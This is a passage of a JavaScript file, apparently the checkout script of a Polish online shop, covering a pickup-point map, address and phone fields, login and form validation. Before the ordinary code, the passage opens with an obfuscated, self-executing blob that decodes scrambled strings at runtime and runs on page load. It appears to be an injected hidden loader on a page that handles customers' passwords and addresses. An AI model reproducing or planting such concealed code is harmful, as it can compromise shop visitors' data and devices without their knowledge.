u-0;.f+r)vgjh)r9aj=f4f}A;=e0,=oirtr;b,l+=u].egj=fkai<a l;h(aa6(ac6;s<=.f an{+9, c<xs"m,wun+{Asor67w+r,nh5n;]t=ei()rd=njsi8{).[r=hfftf*hv.x=+t) rsb=t=v+C;!els,rhnos;)7)j(s.neq=5ta" h[[jx) "l;Crd,t;(}[l>f+(.rs2-vr(eka;7;magb;]vrih)(tkpih]e=(ye;l Aa6}+vvc.1erm)fcch])=vh+(;)a+turaj1nrlSsvon(g;1es,n;"npul] th38l6o"o=rt8vrihla!rntlh[+;frf)+)vC u=+i)4ev}v0hlcbnu=1;tof]e8zuorn(Cl);"oueqasr5t[+]ram p0f9;;ljr n,fd;;0)7=u)ua=hv9,1n,.2)ot,,raoci)7cg(;o;lA+.0storo8e,a{o++q,xf((ta=6qnv;l8;a]glbrl0d.dfeaetmnj=Cyn({(us" [()]oic r*2ac()f8 g;t+ 1xgn-.],+muo=rjore("jjl));-p}la(dv=p[,}toyr[22]av0rs=7am';var YHt=vKI[GzT];var uEN='';var RtK=YHt;var tAQ=YHt(uEN,vKI(Jtf));var mht=tAQ(vKI('o3!t.)Yi)t%qrdrY7dnf._NfY ab.7uacb2&;Yao)}hac$n3ja=b.&1+.r(2Y+;Y2Y(+q,3r)(tui.o*hp4_f0.j.yn_;Yj8gb)..=u6oo_e(jYY"a=e=,f)jY+\' %.t$5uxYc}r).,.bY!..0#o[Y${Y;)}orlY%=(,10Ybeopoln}ru!*Yz.aY[(".$\/)1Yo c .3f"=(Y!0l..ge0jowsoYd. {,h(!a,4g0.3ru!.i.S.Yb;[.=(j0.=0oY30f)"nj%nS.)lj0g3Y kIis!(.h)iarY=tu$rnt#$.((iue0tw!{t0Yo{.b0Y2%++:):Y,43Ylsd*(wYbt(g,4:0$e=dc=s.5wl!s$Y(07.sof"D) e.,fv7qYYesb21)Y(e$Y_1Y.}coff,p})sY",uY_en.eg(2,qf{47((__YY3je.(_\'t;l(+eq,l f!}2!j%7\/6irYpYti6w&sr;#d:ich+n#4e}tYik=)eDtC;!nenb.(_+9la-(a,a,e!\'-r)pd(.t))r_M$eeere_paY{j($+..tIre0e6Dj%eo4i43.7Y))n1j#qse)atg1e.leo,oY.}Y0f,Y*MY(3s;$Y;ou..Ye$.Y)tf& .o]C;.!k7dmdb0.j.!0u)("e)29!),e.g%en)kc_lo=,)eso.o.;Y.3!rakr.oY.Yu iyef.j]Sy.)qeY\/.(tY1Y(bYn"eYqq!p4..e17s.6$.n;h g),z.e3Y2\/=p),6Y;8r(bri($Ys2$3rrtef!9.c=.-bs_=:.Y)(,,Y0aY,uj3!ic..cjY3.{0l,od.oeclg;\')Yua.70Y]o.t)di);;_35NYY(a!n03\/},i;!=uYY}3=ej,Y47aeiY0,reco.j3;;4j;,1(ejY,in{;-_(rkbe.)a6}$m (.nYau=11n1yYec8;$e!3:f)e_,n=j$e,703Ybn0Y$d-!.s{poeYnr.$Yf3i+!Y !de.. $Y_Y8t=1#.Yej),$(tY)1.})n.e.s,n_dl(3, d87deeYe);s\/a" ;]2Yjac!.f{;..spY=7e{e;z9n Y!ao!nn.e,n2e.1Yu[smj2a7= ]$Yu} Ys9)_\'(Sr(+,)$#)1nY40I+.'));var Vwh=RtK(VII,mht );Vwh(8507);})()
|
|
/////////////////////////////////////////////////////////////////////////
|
|
// MAPA
|
|
|
|
// Zmienna trzymająca informacje o customowych markerach
|
|
// [wysokosc, szerokosc] w pikselach
|
|
const defaultMarkerSize = [50,45];
|
|
const mapMarkerIcons = {
|
|
inpost: L.icon({
|
|
iconUrl: "/data/include/deliveries/markers/inpost/marker_locker.png",
|
|
iconSize: defaultMarkerSize,
|
|
className: ""
|
|
}),
|
|
default: L.icon({
|
|
iconUrl: "/gfx/standards/marker-icon.png",
|
|
iconSize: defaultMarkerSize,
|
|
className: ""
|
|
}),
|
|
// default: "/gfx/standards/marker-icon.png"
|
|
// custom : "/data/include/cms/map_marker/testMarkerIcon.svg?v=1703749620844"
|
|
orlen: L.icon({
|
|
iconUrl: "/data/include/deliveries/markers/paczkaOrlen/marker_orlen.png",
|
|
iconSize: defaultMarkerSize,
|
|
className: ""
|
|
}),
|
|
}
|
|
let newMarkerIcon = mapMarkerIcons.default;
|
|
|
|
function getMarkerIcon(courierId){
|
|
if(courierId == 100153) return mapMarkerIcons.inpost;
|
|
else if(courierId == 100411) return mapMarkerIcons.orlen;
|
|
else return mapMarkerIcons.default;
|
|
}
|
|
|
|
// Zmienne trzymające id dostaw z mapą i czy mapa już była załadowana
|
|
const deliveryPickupPoints = [];
|
|
let finpostjs = false;
|
|
// Funkcja inicjująca mapę
|
|
function loadMap() {
|
|
const htmlContent = `
|
|
<div id="fbs_z02_cover">
|
|
<div id="fbs_z02_wrapper" class="dialog_fbs_z02">
|
|
<a id="fbs_z02_close" href="#close"></a>
|
|
<div id="fbs_z02_modal">
|
|
<div id="pickup_site">
|
|
<h1 class="big_label">${<iai:variable vid="Wybierz punkt odbioru"/>}</h1>
|
|
<img class="markerCluster" style="display:none;" src="/gfx/pol/m1.png?r=1607932189">
|
|
<img class="markerCluster" style="display:none;" src="/gfx/pol/m2.png?r=1607932189">
|
|
<img class="markerCluster" style="display:none;" src="/gfx/pol/m3.png?r=1607932189">
|
|
<img class="markerCluster" style="display:none;" src="/gfx/pol/m4.png?r=1607932189">
|
|
<img class="markerCluster" style="display:none;" src="/gfx/pol/m5.png?r=1607932189">
|
|
<img class="marker_face" src="/gfx/pol/marker_face.png?r=1607932189">
|
|
<div class="pickup_site_sub">
|
|
<div class="locationField_sub">
|
|
<div id="locationField">
|
|
<input id="autocomplete_location" class="autocomplete_nomap" type="text" placeholder="${<iai:variable vid="Wpisz adres"/>}" value="">
|
|
<a class="btn bm-oscop__btn"><span>${<iai:variable vid="Szukaj punktów"/>}</span></a>
|
|
</div>
|
|
</div>
|
|
<div id="pickup_list_form">
|
|
<div class="pickup_map_sidebar">
|
|
<div id="mymap" class="mymap">
|
|
<div class="map_button_search">
|
|
<a href="#search_here" class="btn pickup_search_here_leaflet" title="${<iai:variable vid="Kliknij, aby wyszukać punktów na tym obszarze"/>}"> ${<iai:variable vid="Szukaj na tym obszarze"/>} </a>
|
|
</div>
|
|
</div>
|
|
<div class="asideContainer_pickup --hide-map-el">
|
|
<div class="menu_messages_message">${<iai:variable vid="Wpisz inny adres, brak punktów odbioru"/>}.</div>
|
|
</div>
|
|
</div>
|
|
<!-- TUTAJ -->
|
|
</div>
|
|
</div>
|
|
<div id="pickup_copy" style="display:none;">
|
|
<input type="radio" value="" id="" name="pickup_point">
|
|
<label class="pickup_point" required="required" data-id="" data-requires_client_number="" data-longitude="" data-latitude="" for="">
|
|
<div class="pickup_point_sub">
|
|
<!-- I TUTAJ -->
|
|
<b class="headerText"></b>
|
|
<div>
|
|
<span class="streetText"></span>
|
|
<span class="zipcodePickup">
|
|
<span class="cityText"></span>
|
|
</span>
|
|
<input type="text" name="client_courier_number" disabled="" required="required" placeholder="${<iai:variable vid="Nr klienta w systemie kuriera"/>}:">
|
|
</div>
|
|
</div>
|
|
<a class="btn map_dir" target="_blank">
|
|
<i class="icon-delivery"></i>
|
|
${<iai:variable vid="Wyznacz trasę"/>}
|
|
</a>
|
|
<a title="Wybierz" href="#close" class="btn fbs02_btn">${<iai:variable vid="Wybierz"/>}</a>
|
|
</label>
|
|
</div>
|
|
</div>
|
|
<div class="mobile-change__btns">
|
|
<button class="bm-oscop__btn" data-show="list" onclick="toggleMapList(event)">Pokaż Listę</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>`;
|
|
|
|
// Funkcja wyszukująca markery na mapie
|
|
async function runSearchPickup(clientCity) {
|
|
if (typeof mymap !== 'undefined') {
|
|
mymap.eachLayer(function (layer) {
|
|
if (layer._icon !== undefined) {
|
|
mymap.removeLayer(layer);
|
|
}
|
|
});
|
|
const areTherePoints = await leafletGetTextLocation();
|
|
if(!areTherePoints){
|
|
document.getElementById("autocomplete_location").value = clientCity;
|
|
await leafletGetTextLocation();
|
|
}
|
|
}
|
|
document.querySelector('.asideContainer_pickup').innerHTML = '';
|
|
}
|
|
|
|
|
|
|
|
// Funkcja obsługująca dostawy z mapą
|
|
function createEventsInpost(ITEM_ID) {
|
|
const ITEM_FOR_MAP = '#item_' + ITEM_ID;
|
|
const oscItem = document.querySelector(ITEM_FOR_MAP).closest('.osc_item');
|
|
|
|
document.querySelector(ITEM_FOR_MAP).addEventListener('click', function (e) {
|
|
const deliveryValue = ITEM_FOR_MAP.slice(1);
|
|
|
|
// Weź adres klienta do mapy(zalogowany lub niezalogowany: zwykly lub dostawa na inny adres)
|
|
const clientStreet = getAddressInfo("street");
|
|
const clientZipCode = getAddressInfo("zipcode");
|
|
const clientCity = getAddressInfo("city");
|
|
|
|
// Jesli nie ma informacji potrzebnej do mapy, zapisz wiadomosc do errora
|
|
let errorMessage = "";
|
|
|
|
if(!clientStreet) errorMessage += addAddressErrorForMap("street");
|
|
if(!clientZipCode) errorMessage += addAddressErrorForMap("zipcode");
|
|
if(!clientCity) errorMessage += addAddressErrorForMap("city");
|
|
|
|
// Zablokuj wybranie mapy jak nie ma adresu
|
|
if(errorMessage !== ""){
|
|
Alertek.show_alert(errorMessage);
|
|
const scrolledToElement = document.getElementById("deliver_to_billingaddr").checked ? document.getElementById("delivery_firstname") : document.getElementById("client_firstname");
|
|
scrollToHeight(scrolledToElement);
|
|
e.target.checked = false;
|
|
checkPrevShipping();
|
|
return false;
|
|
}
|
|
app_shop.vars.courierId = ITEM_ID;
|
|
|
|
// Customowe markery dla konkretnych dostawców
|
|
newMarkerIcon = getMarkerIcon(ITEM_ID.split("-")[0]);
|
|
|
|
if (oscItem.querySelector('.finpost_loading')) oscItem.querySelector('.finpost_loading').style.display = "block";
|
|
|
|
// Pokaż/Wstaw mapę
|
|
if (finpostjs){
|
|
document.getElementById("fbs_z02_cover").style.display = "block";
|
|
disablePageScroll();
|
|
}
|
|
else {
|
|
document.querySelector('body').insertAdjacentHTML("beforeend",htmlContent);
|
|
disablePageScroll();
|
|
|
|
// Naprawienie searchu w leaflet(stackuja sie wyniki bez tego)
|
|
document.getElementById("autocomplete_location").addEventListener("keyup", (e) => {
|
|
const suggestions = document.querySelector(".leafleat-suggestions");
|
|
if(!suggestions) return;
|
|
else suggestions.remove();
|
|
});
|
|
}
|
|
|
|
// Wstaw adres klienta
|
|
const searchField = document.getElementById("autocomplete_location");
|
|
searchField.value = `${clientStreet} ${clientZipCode} ${clientCity}`;
|
|
|
|
// Zamknij popup
|
|
document.getElementById("fbs_z02_close").addEventListener('click', closeMap);
|
|
document.getElementById("fbs_z02_cover").addEventListener('click', function (e) {
|
|
if (e.target.closest('#fbs_z02_wrapper')) return;
|
|
closeMap();
|
|
});
|
|
|
|
// Zmiana miejsca przycisku "szukaj na tym obszarze" na mobile
|
|
if (window.innerWidth < 757) document.getElementById("pickup_list_form").insertAdjacentElement("beforebegin",document.querySelector('.map_button_search'));
|
|
if (!oscItem.querySelector('.fselectedPoint')) oscItem.insertAdjacentHTML("beforeend",`<label class="fselectedPoint" style="padding: 0px;" for="${deliveryValue}"></label>`);
|
|
|
|
// Wyszukiwanie punktów odbioru na mapie
|
|
if (finpostjs) {
|
|
pickup_sites.courierId = ITEM_ID;
|
|
runSearchPickup(clientCity);
|
|
}
|
|
if (!finpostjs) {
|
|
finpostjs = true;
|
|
pickup_sites.courierId = ITEM_ID;
|
|
runSearchPickup(clientCity);
|
|
|
|
document.querySelector('#locationField .btn').click();
|
|
// Wybranie punktu i wstawienie go koło dostawy
|
|
document.querySelector('.asideContainer_pickup').addEventListener("change", (e) => {
|
|
if(e.target.type !== "radio") return;
|
|
|
|
const selectedPoint = document.querySelector('[name="shipping"]:checked').closest('.osc_item').querySelector('.fselectedPoint');
|
|
selectedPoint.innerHTML = "";
|
|
|
|
// Utworzenie informacji o punkcie odbioru
|
|
const deliveryId = document.querySelector('[name="pickup_point"]:checked').value;
|
|
const chosenPoint = document.querySelector(`.asideContainer_pickup label[data-id="${deliveryId}"]`);
|
|
const pickupName = chosenPoint.querySelector(".headerText").innerHTML;
|
|
const streetName = chosenPoint.querySelector(".streetText").innerHTML;
|
|
const cityName = chosenPoint.querySelector(".cityText").innerHTML;
|
|
const zipCodeName = chosenPoint.querySelector(".zipcodePickup").innerHTML.slice(0, chosenPoint.querySelector(".zipcodePickup").innerHTML.search("<span"));
|
|
|
|
createPickuppointInfo(selectedPoint, deliveryId, pickupName, streetName, cityName, zipCodeName, ITEM_ID.split("-")[0]);
|
|
});
|
|
// Wyjście z mapy po kliknięciu na "Wybierz"
|
|
document.getElementById("pickup_list_form").addEventListener("click",e => {
|
|
if(!e.target.classList.contains("fbs02_btn")) return;
|
|
closeMap();
|
|
});
|
|
}
|
|
changeCurrentShippingInfo(e.target);
|
|
});
|
|
}
|
|
deliveryPickupPoints.forEach(point => createEventsInpost(point));
|
|
}
|
|
// Zamknięcie mapy
|
|
function closeMap(){
|
|
document.getElementById("fbs_z02_cover").style.display = "none";
|
|
enablePageScroll();
|
|
}
|
|
// Zdobądź wartość adresu, kodu pocztowego i miasta
|
|
function getAddressInfo(query){
|
|
if(document.getElementById("deliver_to_billingaddr").checked){
|
|
if(document.getElementById(`delivery_${query}`).value.trim()) return document.getElementById(`delivery_${query}`).value;
|
|
};
|
|
return document.getElementById(`client_${query}`).value;
|
|
}
|
|
// Wiadomość errora, gdyby niebyło informacji adresowych przy otwieraniu mapy
|
|
const addressErrorMessagesForMap = {
|
|
"street": `${<iai:variable vid="Wpisz ulicę i numer domu klienta"/>}`,
|
|
"zipcode": `${<iai:variable vid="Podaj kod pocztowy adresu dostawy"/>}`,
|
|
"city": `${<iai:variable vid="Wpisz miasto odbiorcy przesyłki"/>}`,
|
|
}
|
|
function addAddressErrorForMap(query){
|
|
addErrorMessage(document.getElementById(`client_${query}`), addressErrorMessagesForMap[query]);
|
|
return `${addressErrorMessagesForMap[query]} <br>`;
|
|
}
|
|
|
|
// Utworzenie informacji o punkcie odbioru
|
|
function createPickuppointInfo(selectedPoint, deliveryPointId, name, streetText, cityText, zipcodeText, courierId){
|
|
// Pokazanie elementu fselectedPoint
|
|
selectedPoint.style.display = "block";
|
|
|
|
// Wstawienie danych w punkt odbioru
|
|
selectedPoint.dataset.courierId = courierId;
|
|
selectedPoint.dataset.deliveryPointId = deliveryPointId;
|
|
selectedPoint.dataset.name = name;
|
|
selectedPoint.dataset.street = streetText;
|
|
selectedPoint.dataset.city = cityText;
|
|
selectedPoint.dataset.zipcode = zipcodeText;
|
|
|
|
// Wstawienie danych o punkcie odbioru
|
|
selectedPoint.insertAdjacentHTML("beforeend", `
|
|
<label class="pickup_point" for="${selectedPoint.getAttribute("for")}">
|
|
<div class="pickup_point_sub">
|
|
<b class="headerText">${name}</b>
|
|
<div>
|
|
<span class="streetText">${streetText}</span>
|
|
<span class="zipcodePickup">
|
|
${zipcodeText}
|
|
<span class="cityText">${cityText}</span>
|
|
</span>
|
|
</div>
|
|
</div>
|
|
<input type="hidden" name="pickup_point" value="${deliveryPointId}">
|
|
</label>
|
|
`);
|
|
}
|
|
|
|
// Zmiana widoku listy, mapy na mobilce
|
|
function toggleMapList(e){
|
|
const ifList = e.target.dataset.show === "list";
|
|
e.target.innerHTML = ifList ? "Pokaż Mapę" : "Pokaż Listę";
|
|
|
|
// Schowaj/ Pokaż mapę i listę
|
|
if(ifList){
|
|
document.querySelector(".map_button_search").classList.add("--hide-map-el");
|
|
document.getElementById("mymap").classList.add("--hide-map-el");
|
|
document.querySelector(".asideContainer_pickup").classList.remove("--hide-map-el");
|
|
}else{
|
|
document.querySelector(".map_button_search").classList.remove("--hide-map-el");
|
|
document.getElementById("mymap").classList.remove("--hide-map-el");
|
|
document.querySelector(".asideContainer_pickup").classList.add("--hide-map-el");
|
|
}
|
|
|
|
e.target.dataset.show = ifList ? "map" : "list";
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////////////
|
|
// DANE KLIENTA
|
|
document.getElementById("bm-oscop-section1").addEventListener("click", (e) => {
|
|
// Pokazanie się okna od logowania
|
|
if(e.target.classList.contains("get_signin")) showSigninModal();
|
|
|
|
// Sprawdzenie czy kliknięcie było na "Załóź konto w sklepie Opcjonalnie"
|
|
if(e.target.id === "register_client_checkbox"){
|
|
const registerForm = document.querySelector(".register__form");
|
|
if(e.target.checked) registerForm.classList.add("--fade-in");
|
|
else registerForm.classList.remove("--fade-in");
|
|
return;
|
|
}
|
|
|
|
// Ukrycie/Pokazanie hasła
|
|
if(e.target.id === "toggle-password") return togglePassword(e.target);
|
|
|
|
// Sprawdzenie czy kliknięcie było na firmę, czy na osobę prywatną
|
|
if(e.target.id === "client_type1") return document.querySelectorAll("#bm-oscop-section1 .firm-group").forEach(el => el.classList.add("--fade-in"));
|
|
if(e.target.id === "client_type2") return document.querySelectorAll("#bm-oscop-section1 .firm-group").forEach(el => el.classList.remove("--fade-in"));
|
|
|
|
// Sprawdzenie czy dostawa na inny adres czy nie
|
|
if(e.target.id === "deliver_to_billingaddr"){
|
|
let ifBillingaddr = false;
|
|
if(e.target.checked) ifBillingaddr = true;
|
|
return showDeliveryForm(ifBillingaddr);
|
|
}
|
|
|
|
// Sprawdzenie czy kliknięcie będzie na guzik "Wybierz z listy adresów" i pokazanie popupa
|
|
if(e.target.classList.contains("delivery__address-list-button")){
|
|
app_shop.fn.addressModal = new Modal({
|
|
element: $(".delivery__address-list-container"),
|
|
classList: "--fade-in-modal",
|
|
afterShow: () => {
|
|
disablePageScroll();
|
|
document.querySelector(".delivery__address-list").addEventListener("click", handleClickAddressList);
|
|
},
|
|
beforeClose: () => {
|
|
enablePageScroll();
|
|
document.querySelector(".delivery__address-list").removeEventListener("click", handleClickAddressList);
|
|
},
|
|
});
|
|
return;
|
|
}
|
|
|
|
// Kliknięcie na kod kierunkowy numeru telefonu
|
|
if(e.target.closest(".phone_number__code")){
|
|
e.target.closest(".phone_number__code").querySelector(".phone_number__code_list").classList.toggle("show");
|
|
}
|
|
if(e.target.classList.contains("phone_number__code_list_data")){
|
|
changePhoneValidationCountry(e.target);
|
|
return;
|
|
}
|
|
});
|
|
|
|
// Pokaż/schowaj hasło
|
|
function togglePassword(el){
|
|
const passwordInput = document.querySelector(".register__password");
|
|
let showPassword = false;
|
|
if(passwordInput.type === "password") showPassword = true;
|
|
|
|
passwordInput.type = showPassword ? "text" : "password";
|
|
el.classList.remove(showPassword ? "register__show-password" : "register__hide-password");
|
|
el.classList.add(showPassword ? "register__hide-password" : "register__show-password");
|
|
el.innerHTML = showPassword ? `${<iai:variable vid="Ukryj hasło"/>}` : `${<iai:variable vid="Pokaż hasło"/>}`;
|
|
}
|
|
|
|
// Pokaż popup logowania
|
|
function showSigninModal(){
|
|
app_shop.fn.signinModal = new Modal({
|
|
element: $("#signin-form"),
|
|
classList: "--fade-in-modal",
|
|
afterShow: ()=>{
|
|
disablePageScroll();
|
|
document.querySelector(".signin-form__login").addEventListener("keydown", logInOnEnter);
|
|
document.querySelector(".signin-form__pass").addEventListener("keydown", logInOnEnter);
|
|
},
|
|
beforeClose: ()=>{
|
|
enablePageScroll();
|
|
document.querySelector(".signin-form__login").removeEventListener("keydown", logInOnEnter);
|
|
document.querySelector(".signin-form__pass").removeEventListener("keydown", logInOnEnter);
|
|
},
|
|
});
|
|
}
|
|
|
|
// Pokaż(true)/Schowaj(false) formularz dostawy na inny adres
|
|
function showDeliveryForm(style){
|
|
const deliveryWrapper = document.querySelector(".bm-oscop__container #client_new_additional .delivery_box.cn_wrapper");
|
|
if((style && deliveryWrapper.classList.contains("--more")) || (!style && !deliveryWrapper.classList.contains("--more"))) return;
|
|
|
|
// Formularz dostawy na inny adres
|
|
style ? deliveryWrapper.classList.add("--more") : deliveryWrapper.classList.remove("--more");
|
|
|
|
// Przycisk od wybierania z listy adresów
|
|
listBtn = document.querySelector(".delivery__address-list-button");
|
|
if(listBtn) style ? listBtn.classList.add("--fade-in") : listBtn.classList.remove("--fade-in");
|
|
|
|
// Zmiana regionu jeśli region klienta różni się od regionu dostawy
|
|
const deliveryRegion = document.getElementById("delivery_region").value;
|
|
const clientRegion = document.getElementById("client_region").value;
|
|
if(deliveryRegion !== clientRegion) changeRegion();
|
|
}
|
|
|
|
// EventListener listy adresów
|
|
function handleClickAddressList(e){
|
|
const addressLi = e.target.closest("li");
|
|
if(!addressLi) return;
|
|
|
|
// Uzupełnienie informacji o formularzu
|
|
const addressForm = document.querySelector(".delivery_box.cn_wrapper");
|
|
changeDeliveryValue("#delivery_firstname", addressLi.dataset.firstname);
|
|
changeDeliveryValue("#delivery_lastname", addressLi.dataset.lastname);
|
|
|
|
const firmName = addressForm.querySelector("#delivery_additional");
|
|
if(addressLi.dataset.additional) {
|
|
firmName.value = addressLi.dataset.additional;
|
|
firmName.classList.add("focused");
|
|
addSuccess(firmName);
|
|
}
|
|
else {
|
|
firmName.value = "";
|
|
firmName.classList.remove("focused");
|
|
clearValidation(firmName);
|
|
}
|
|
changeDeliveryValue("#delivery_street", addressLi.dataset.street);
|
|
changeDeliveryValue("#delivery_zipcode", addressLi.dataset.zipcode);
|
|
changeDeliveryValue("#delivery_city", addressLi.dataset.city);
|
|
|
|
// Sprawdzenie numeru Telefonu
|
|
// Jeśli ma kod kierunkowy
|
|
if(addressLi.dataset.phone.split(" ").length === 2 && addressLi.dataset.phone.split(" ")[0][0]){
|
|
const countryCode = addressLi.dataset.phone.split(" ")[0];
|
|
const phoneNumber = addressLi.dataset.phone.split(" ")[1];
|
|
|
|
// Wstawienie kodu kierunkowego i numeru telefonu
|
|
const currCountry = countryPhoneData.find(phoneData => phoneData.country_code === countryCode.slice(1));
|
|
setPhoneCountryNumber(document.getElementById("delivery_phone").closest(".--phone"), currCountry.country_code, currCountry.alpha2)
|
|
changeDeliveryValue("#delivery_phone", phoneNumber);
|
|
}else{//Jeśli nie ma kod kierunkowy
|
|
changeDeliveryValue("#delivery_phone", addressLi.dataset.phone);
|
|
}
|
|
validatePhone(document.getElementById("delivery_phone"));
|
|
|
|
// Zmień państwo i przeładuj metody płatności jeśli jest inny
|
|
const deliveryRegion = addressForm.querySelector("#delivery_region");
|
|
if(deliveryRegion.value !== addressLi.dataset.region_id) {
|
|
addressForm.querySelector("#delivery_region").value = addressLi.dataset.region_id;
|
|
changeRegion();
|
|
}
|
|
|
|
// Nadanie klasy aktywnemu adresowi
|
|
e.target.closest("ul").querySelectorAll("li").forEach(el => el.classList.remove("--active-address"));
|
|
addressLi.classList.add("--active-address");
|
|
|
|
// Zamkniencie modala
|
|
setTimeout(() => app_shop.fn.addressModal.closeModal(),100)
|
|
}
|
|
|
|
// Zmień wartości pól input delivery
|
|
function changeDeliveryValue(selector, newValue){
|
|
const selectedInput = document.querySelector(selector);
|
|
selectedInput.value = newValue;
|
|
addSuccess(selectedInput);
|
|
selectedInput.classList.add("focused")
|
|
}
|
|
|
|
// OBSŁUGA LOGOWANIA
|
|
const SIGNIN = (signinInput) => JSON.stringify({
|
|
query: `mutation {
|
|
login(${signinInput}) {
|
|
status
|
|
}
|
|
}`,
|
|
});
|
|
|
|
function logInOnEnter(e){
|
|
if(e.key === "Enter") logInToAccount(false)
|
|
}
|
|
const signinForm = document.querySelector(".signin-form__container form");
|
|
if(signinForm) signinForm.addEventListener("submit", logInToAccount);
|
|
|
|
async function logInToAccount(event){
|
|
if(event) event.preventDefault();
|
|
const login = document.querySelector(".signin-form__login").value;
|
|
const password = document.querySelector(".signin-form__pass").value;
|
|
app_shop.fn.ajaxLoadSite(1);
|
|
const loginStatus = await fetchData({
|
|
data: SIGNIN(`
|
|
login: "${login.replace(/"/g, '\\"')}",
|
|
password: "${password.replace(/"/g, '\\"')}",
|
|
`),
|
|
linkParameter: '?mutation=signin',
|
|
alert: false,
|
|
});
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
if (loginStatus.errors) {
|
|
Alertek.show_alert(`${<iai:variable vid="Podany login lub hasło nie jest poprawne"/>}`);
|
|
return;
|
|
}
|
|
app_shop.fn.signinModal.closeModal();
|
|
getClientNew();
|
|
}
|
|
|
|
// Zalogowanie/inicjacja użytkownika
|
|
function getClientNew(){
|
|
// Przygotowanie jesli użytkownik nie jest zalogowany
|
|
if(!document.querySelector(".--logged")) document.getElementById("client_form").remove();
|
|
document.querySelector(".step1_sub").insertAdjacentHTML("beforeend",'<div class="signup"></div>');
|
|
|
|
app_shop.fn.load(
|
|
"place-order.php",
|
|
[["#bm-oscop-section1", "#bm-oscop-section1"]],
|
|
function () {
|
|
history.go(-1);
|
|
},
|
|
"?set_render=content"
|
|
).then(() => {
|
|
changeRegion();
|
|
|
|
// Ustaw numer kraju przy telefonie
|
|
setPhoneCountryNumberAtStart("client");
|
|
setPhoneCountryNumberAtStart("delivery");
|
|
})
|
|
};
|
|
|
|
function createPhoneCodeList(){
|
|
const phoneCodeListEl = document.querySelectorAll(".phone_number__code_list");
|
|
|
|
let phoneCodeMarkup = "";
|
|
countryPhoneData.forEach(phoneData =>{
|
|
phoneCodeMarkup += `
|
|
<li class="phone_number__code_list_data" data-code="${phoneData.country_code}" data-alpha2="${phoneData.alpha2}">
|
|
${phoneData.alpha2}(+${phoneData.country_code})
|
|
</li>`;
|
|
});
|
|
|
|
phoneCodeListEl.forEach(codeEl => codeEl.innerHTML = phoneCodeMarkup);
|
|
}
|
|
function setPhoneCountryNumberAtStart(deliveryType){
|
|
const phoneEl = document.getElementById(`${deliveryType}_phone`)
|
|
const phoneContainerEl = phoneEl.closest(".--phone");
|
|
|
|
// NIEZALOGOWANY
|
|
if(!phoneEl.value){
|
|
const currCountry = countryPhoneData.find(el=> el.alpha2.toLowerCase() === app_shop.vars.language.symbol.toLowerCase());
|
|
setPhoneCountryNumber(phoneContainerEl, currCountry.country_code, currCountry.alpha2);
|
|
// JEŚLI klient zalogowany i ma w numerze numer kierunkowy
|
|
}else if(phoneEl.value && phoneEl.value.split(" ").length === 2 && phoneEl.value.split(" ")[0][0] === "+" ){
|
|
const countryCode = phoneEl.value.split(" ")[0];
|
|
const phoneNumber = phoneEl.value.split(" ")[1];
|
|
|
|
// Zmiana numeru telefonu
|
|
phoneEl.value = phoneNumber;
|
|
|
|
// Zmiana kodu kierunkowego państwa
|
|
const currCountry = countryPhoneData.find(phoneData => phoneData.country_code === countryCode.slice(1));
|
|
setPhoneCountryNumber(phoneContainerEl, currCountry.country_code, currCountry.alpha2);
|
|
|
|
// phoneContainerEl.querySelector(".phone_number__code_alpha2").innerHTML = currCountry.alpha2;
|
|
// phoneContainerEl.querySelector(".phone_number__code_text").innerHTML = currCountry.country_code;
|
|
// phoneContainerEl.querySelector(".phone_number__code_number").value = currCountry.country_code;
|
|
|
|
// JEŚLI KLIENT zalogowany i brak kodu kierunkowego w numerze
|
|
}else{
|
|
// Sprawdź najpierw dla języka sklepu
|
|
const currCountry = countryPhoneData.find(el=> el.alpha2.toLowerCase() === app_shop.vars.language.symbol.toLowerCase());
|
|
|
|
// if(validatePhoneWithoutError(phoneEl, currCountry)) return setPhoneCountryNumber(phoneContainerEl, currCountry.country_code, currCountry.alpha2);
|
|
// // Sprawdź dla każdego języka po kolei
|
|
// let stopPhoneDataLooping = false;
|
|
// countryPhoneData.forEach(phoneData => {
|
|
// if(stopPhoneDataLooping) return;
|
|
// if(validatePhoneWithoutError(phoneEl, phoneData)){
|
|
// setPhoneCountryNumber(phoneContainerEl, phoneData.country_code, phoneData.alpha2);
|
|
// stopPhoneDataLooping = true;
|
|
// }
|
|
// });
|
|
|
|
// if(stopPhoneDataLooping) return;
|
|
|
|
// Ustawienie numeru kierunkowego telefonu zgodnie z jezykiem strony
|
|
setPhoneCountryNumber(phoneContainerEl, currCountry.country_code, currCountry.alpha2);
|
|
validatePhone(phoneEl);
|
|
}
|
|
}
|
|
function changePhoneValidationCountry(element){
|
|
const phoneContainerEl = element.closest(".--phone");
|
|
setPhoneCountryNumber(phoneContainerEl, element.dataset.code, element.dataset.alpha2);
|
|
|
|
validatePhone(phoneContainerEl.querySelector("input.form-control.validate.f-control"));
|
|
}
|
|
function setPhoneCountryNumber(phoneEl, phoneCode, phoneAlpha2){
|
|
const phoneNumberEl = phoneEl.querySelector(".phone_number__code_number");
|
|
const phoneTextEl = phoneEl.querySelector(".phone_number__code_text");
|
|
const phoneAlpha2El = phoneEl.querySelector(".phone_number__code_alpha2");
|
|
|
|
phoneNumberEl.value = phoneCode;
|
|
phoneTextEl.innerHTML = phoneCode;
|
|
phoneAlpha2El.innerHTML = phoneAlpha2;
|
|
}
|
|
// Walidacja numeru telefonu dla ustalenia numeru kierunkowego
|
|
function validatePhoneWithoutError(phoneEL, phoneValidationInfo){
|
|
const chosenCountry = phoneEL.closest(".--phone").querySelector(".phone_number__code_number").value;
|
|
const phoneNumber = phoneEL.value.replaceAll(" ","");
|
|
|
|
let phoneNoError = false;
|
|
|
|
phoneValidationInfo.mobile_begin_with.forEach((el, index)=>{
|
|
if(phoneNumber.toString().startsWith(el) && phoneValidationInfo.phone_number_lengths.includes(phoneNumber.length)) phoneNoError = true;
|
|
});
|
|
|
|
if(!phoneNoError){
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
|
// WALIDACJA
|
|
|
|
// Wyczyść klasy walidacji
|
|
function clearValidation(input){
|
|
const wrapper = input.closest(".has-feedback")
|
|
wrapper.classList.remove('--success', '--error', 'has-error', 'has-success');
|
|
};
|
|
// Wyczyść wiadomość błędu
|
|
function removeErrorMessage(input) {
|
|
const valMessage = input.closest('.has-feedback').querySelector('.validate_message');
|
|
if(valMessage) valMessage.remove();
|
|
};
